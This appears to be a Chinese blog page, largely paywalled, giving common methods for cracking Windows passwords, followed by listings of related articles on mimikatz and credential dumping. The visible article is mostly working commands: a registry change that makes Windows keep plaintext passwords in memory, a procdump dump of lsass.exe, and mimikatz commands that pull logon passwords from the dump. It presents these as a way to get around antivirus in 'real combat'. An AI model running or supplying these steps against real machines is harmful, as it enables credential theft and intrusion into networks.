Windows密码破解常见手段

最新推荐文章于 2026-05-11 11:04:05 发布
原创 最新推荐文章于 2026-05-11 11:04:05 发布 · 2.2k 阅读 · 26
标签
#windows #网络 #安全 #密码

mimikatz导出lsass破解

如果域管在成员机器上登录过，那么密码机会保存到lsass.exe进程当中，可以通过mimikatz读取密码

用本地管理员登录本地机器 导出hash

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

图片

这个工具可以直接导出lsass进程中的密码，可以利用这点导出密码，拿hash到本地mimikatz解
这种方式可以规避杀软

procdump64.exe -accepteula -ma lsass.exe lsass.dump

图片

如果是实战环境可以直接拿出本地解开

Mimikatz.exe “sekurlsa::minidump w:/lsass.dump” “sekurlsa::logonPasswords full” > w:/1.txt

注意，如果运行着一条代码有问题的话

报错如下：ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory

可以尝试把lsass.dump文件换到根盘符下，手动打开mimikatz敲命令

例如：w:/lsass.dump

最低0.47元/天 解锁文章
导出lsass内存各种方法
qq_18193739的博客
08-08 3275
导出lsass内存各种方法，mimikatz读取密码
利用mimikatz抓取密码及散列值
Zlirving_的博客
01-15 4080
目录windows系统散列值获取前提介绍在线读取散列值及明文密码离线读取lsass.dmp文件防范 windows系统散列值获取 域环境中，用户信息存储在ntds.dit，加密成散列值(都为散列加密算法) LM HASH：DES加密。明文密码限定在14为以内。不够字节用0补齐 NTLM HASH：MD4加密。 前提介绍 抓取密码之前，必须为最高权限。windows下用户名、散列值及其他安全信息都保存在SAM文件中。lsass.exe进程用于实现windows安全策略. 工具： Mimikatz Procd
告别死记硬背：用Metasploit的kiwi模块实战抓取Windows明文密码（附完整命令清单）
最新发布
weixin_42652674的博客
05-11 360
本文详细介绍了如何利用Metasploit的kiwi模块实战抓取Windows明文密码，包括模块工作原理、环境准备、核心命令使用及问题排查。通过kiwi模块，渗透测试人员可以高效获取系统凭证，提升内网渗透效率。文章还提供了完整命令清单和安全防护建议。
windows10下破解开机密码
屿的博客
09-18 1万+
剪切刚刚导出的注册表文件到猕猴桃x64目录下。mimikatz(猕猴桃破解工具)此方法破解win10下所有账户的密码。把此文件复制到猕猴桃x64文件夹下。2.破解win10所有账户密码。此步将会破解所有账户的哈希密码。打开带管理员权限的cmd窗口。NTLM是加密过的账户密码。以管理员身份运行猕猴桃。以管理员权限打开猕猴桃。（测试机只有一个账户）原理是利用注册表文件。
ERROR kuhl_m_sekurlsa_acquireLSA ； Key import
墨痕诉清风的博客
03-27 1万+
我在实验室环境中在服务器2019上使用了最新的mimikatz 2.2版本(12/25)。我收到以下错误“error kuhl_m_sekurlsa_acquireLSA;关键进口” 我尝试了早期版本2.1.1 #17763，并运行sekurlsa::logonpasswords就可以了。从报错信息看，有一个key导致失败了，查了一下github原地址 issue 找到了答案。2. 确定不是UAC绕过的问题，已是HIGH GROUPS。1. 确定不是权限的问题，已是最高权限。原作者第一发现报错git描述。
【已解决】未解决-mimikatz尝试获取win10明文口令报错
热门推荐
高冷的宅先生
04-06 1万+
1.说明 尝试用mimkatz抓取win10明文口令 按照网上的说明，修改了注册表 reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f 使用时注意各种以管理员运行 使用ProcDump和任务管理器lsass都创建转储文件...
PPL攻击详解
hongduilanjun的博客
11-01 4488
PPL表示“受保护的流程”，但在此之前，只有“受保护的流程”。Windows Vista / Server 2008引入了受保护进程的概念，其目的不是保护您的数据或凭据。其最初目标是保护媒体内容并符合DRM（数字版权管理）要求。Microsoft开发了此机制，以便您的媒体播放器可以读取例如蓝光，同时防止您复制其内容。当时的要求是映像文件（即可执行文件）必须使用特殊的Windows Media证书进行数字签名（如Windows Internals的“受保护的过程”部分所述）。
系统密码忘了怎么办，登录破解支招
Oracle Primavera P6 & Unifier 项目(协同)管理
05-31 3158
为保证电脑资料的安全，时常隔一段时间便修改系统登录密码（肯定是Windows的啦），这下好了，偏偏此次没有记牢，于是从网上搜罗了一些资料，大家一起共享一下吧！ 网管员在维护和使用电脑时，经常会遇到各种密码丢失的问题，这里，我们就为广大网管员准备了一些破解密码的方法，但是希望大家不要干坏事哦。开机密码是我们最先要遇到的因此我们就先从CMOS密码破解讲起。虽然CMOS种类各异，但它们的加密方法却基本
网管员必知：常用电脑密码破解
网络专栏
05-26 601
网管员在维护和使用电脑时，经常会遇到各种密码丢失的问题，这里，我们就为广大网管员准备了一些破解密码的方法，但是希望大家不要干坏事哦。开机密码是我们最先要遇到的因此我们就先从CMOS密码破解讲起。虽然CMOS种类各异，但它们的加密方法却基本一致。一般破解的方法主要从"硬"和"软"两个方面来进行。 一、CMOS破解 使用电脑，首先需要开机。因此开机密码是我们最先要遇到的。虽然CMOS种类各异，但它
破解密码
weixin_34189116的博客
05-02 255
网管员在维护和使用电脑时，经常会遇到各种密码丢失的问题，这里，我们就为广大网管员准备了一些破解密码的方法，但是希望大家不要干坏事哦。开机密码是我们最先要遇到的因此我们就先从CMOS密码破解讲起。虽然CMOS种类各异，但它们的加密方法却基本一致。一般破解的方法主要从"硬"和"软"两个方面来进行。 一、CMOS破解 使用电脑，首先需要开机。因此开机密码是我们最先要遇...
密码破解（网管必知）
yangzhanghui的专栏
11-22 1074
Mimikatz各模块基本用法
Canterlot的博客
09-04 2559
介绍内网环境中mimikatz各模块最常用功能及用法
Mimikatz ERROR kuhl_m_sekurlsa_acquireLSA ； Key import
BlackNight168的博客
12-19 3240
关键进口” 我尝试了早期版本2.1.1 #17763，并运行sekurlsa::logonpasswords就可以了。原文链接：https://blog.csdn.net/u012206617/article/details/129790597。版权声明：本文为CSDN博主「墨痕诉清风」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。从报错信息看，有一个key导致失败了，查了一下github原地址 issue 找到了答案。1. 确定不是权限的问题，已是最高权限。
内网渗透之凭据收集的各种方式
每天一小步，进步一大截
09-07 1668
本地安全机构服务器服务 (LSASS) 是一个 Windows 进程，用于处理操作系统安全策略并在系统上强制执行。它验证登录帐户并确保密码、哈希值和Kerberos票证。Windows 系统将凭据存储在 LSASS 进程中，使用户能够访问网络资源， 例如文件共享、SharePoint 站点和其他网络服务，而无需在每次用户连接时输入凭据。LSASS 进程对于红队来说是一个诱人的目标，因为它存储有关用户帐户的敏感信息。LSASS 通常被滥用来转储凭据以提升权限、窃取数据或横向移动。
学习笔记-Mimikatz
人饭子的博客
11-02 1102
Mimikatz 免责声明 本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关. 项目地址 https://github.com/gentilkiwi/mimikatz 文章 & Reference 九种姿势运行 Mimikatz Mimikatz 使用小技巧 域渗透——Dump Clear-Text Password after ...
3.Windows Login Unlocker-忘记电脑密码也可以解决
weixin_49765221的博客
08-18 3713
pe中清除你到底电脑密码
【渗透测试笔记】之【内网渗透——Windows系统散列值获取与防范】
AA8j的博客
07-26 644
拓扑图 Windows系统散列值获取与防范 1.通过CS模块获取用户凭证信息 在获取到目标主机权限后，我们可以抓取hash和dump明文密码，这两项功能都需要管理员权限，如果权限不足，先要进行提权操作。 抓取密码哈希：右键被控主机 —> Access —> Dump Hashes [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-iBCl8Ihj-1627176965164)(images/2021-07-20-16-09-45.png)] [外链图片转存失败,
对系统密码破解的一些工具（非黑客）
PortugalCR7的博客
06-29 811
Windows系统的密码存储在C:\windows\system\config\中。但系统默认开启System进程，导致无法正常复制该密码文件。这两个文件存在于C:\windows\system32中。使用samdump2将system和Sam合并起来。旧版没有kali没有johonny，实验失败。使用Johnny爆破win.txt文件。需要使用Reg save命令进行复制。把这两个文件放入kail中。尝试多次后还是破解失败。使用John进行破解。
渗透测试--Windows凭证收集
weixin_44368093的博客
12-02 1865
在渗透测试过程中，我们终究会遇到攻陷了某台加域Windows主机的情况。而这种情况下，我们很需要搜集当前主机的凭证信息。为进一步利用这些相互信任的凭证来进行横向打下基础。从中我们能获取转储文件，离线解析以获取凭证在线解析lsass程序内存sam数据库时在主机没有加域的情况下，会采用的一种认证措施，里面会有所有使用这个机器的用户的凭证信息设备中的配置文件有时会包含凭证信息，我们值得留意这个时域控的头头，包含域内所有用户的凭证。
获取Windows系统密码凭证 (ﾟ益ﾟメ) 渗透测试
寻觅的博客
03-04 4320
文章目录Windows 加密简介Windows 哈希过程Windows 凭证获取使用猕猴桃(mimikatz) Windows 加密简介 在Windows系统中,通常会使用哈希(hash)转化我们存入的密码,哈希是将目标文本转换成具有相同长度的,不可逆的字符串,具体到应用层还有很多不同的分支,Windows早期版本大多使用LAN Manager（LM）方法进行哈希,但LM哈希密码最大长度为14,当前Windows主要采用NT LAN Manager（NTLM）方法哈希。 Windows系统下hash密码格式
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值